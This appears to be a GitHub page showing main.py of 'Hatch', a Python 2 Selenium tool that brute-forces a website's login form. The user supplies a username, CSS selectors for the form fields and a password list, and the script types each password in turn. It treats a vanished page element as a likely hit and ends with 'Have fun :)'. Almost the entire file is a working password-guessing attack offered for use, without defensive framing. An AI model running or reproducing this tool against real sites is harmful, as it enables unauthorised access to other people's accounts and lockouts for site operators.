forked from nsgodshall/Hatch
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
146 lines (128 loc) · 5.73 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# Coded by METACHAR
# Looking to work with other hit me up on my email @metachar1@gmail.com <--
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
#Graphics
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
CWHITE = '\33[37m'
#Config#
parser = OptionParser()
now = datetime.datetime.now()
#Args
parser.add_option("-u", "--username", dest="username",help="Choose the username")
parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()
CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
def wizard():
print (banner)
website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
sys.stdout.flush()
t.sleep(1)
try:
request = requests.get(website)
if request.status_code == 200:
print (color.GREEN + '[OK]'+color.CWHITE)
sys.stdout.flush()
except selenium.common.exceptions.NoSuchElementException:
pass
except KeyboardInterrupt:
print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
exit()
except:
t.sleep(1)
print (color.RED + '[X]'+color.CWHITE)
t.sleep(1)
print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
exit()
username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
f = open(pass_list, 'r')
driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1 #count
browser = webdriver.Chrome(CHROME_DVR_DIR)
while True:
try:
for line in f:
browser.get(website)
t.sleep(2)
Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
# browser.find_element_by_css_selector(password_selector).clear()
# browser.find_element_by_css_selector(username_selector).clear()
Sel_user.send_keys(username)
Sel_pas.send_keys(line)
t.sleep(5)
print '------------------------'
print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
print '------------------------'
temp = line
except KeyboardInterrupt: #returns to main menu if ctrl C is used
exit()
except selenium.common.exceptions.NoSuchElementException:
print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
print 'LAST PASS ATTEMPT BELLOW'
print color.GREEN + 'Password has been found: {0}'.format(temp)
print color.YELLOW + 'Have fun :)'
exit()
banner = color.BOLD + color.RED +'''
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \\
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
{0}[{1}-{2}]--> {3}V.1.0
{4}[{5}-{6}]--> {7}coded by Metachar
{8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1 #count
if options.username == None:
if options.usernamesel == None:
if options.passsel == None:
if options.loginsel == None:
if options.passlist == None:
if options.website == None:
wizard()
username = options.username
username_selector = options.usernamesel
password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print banner
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)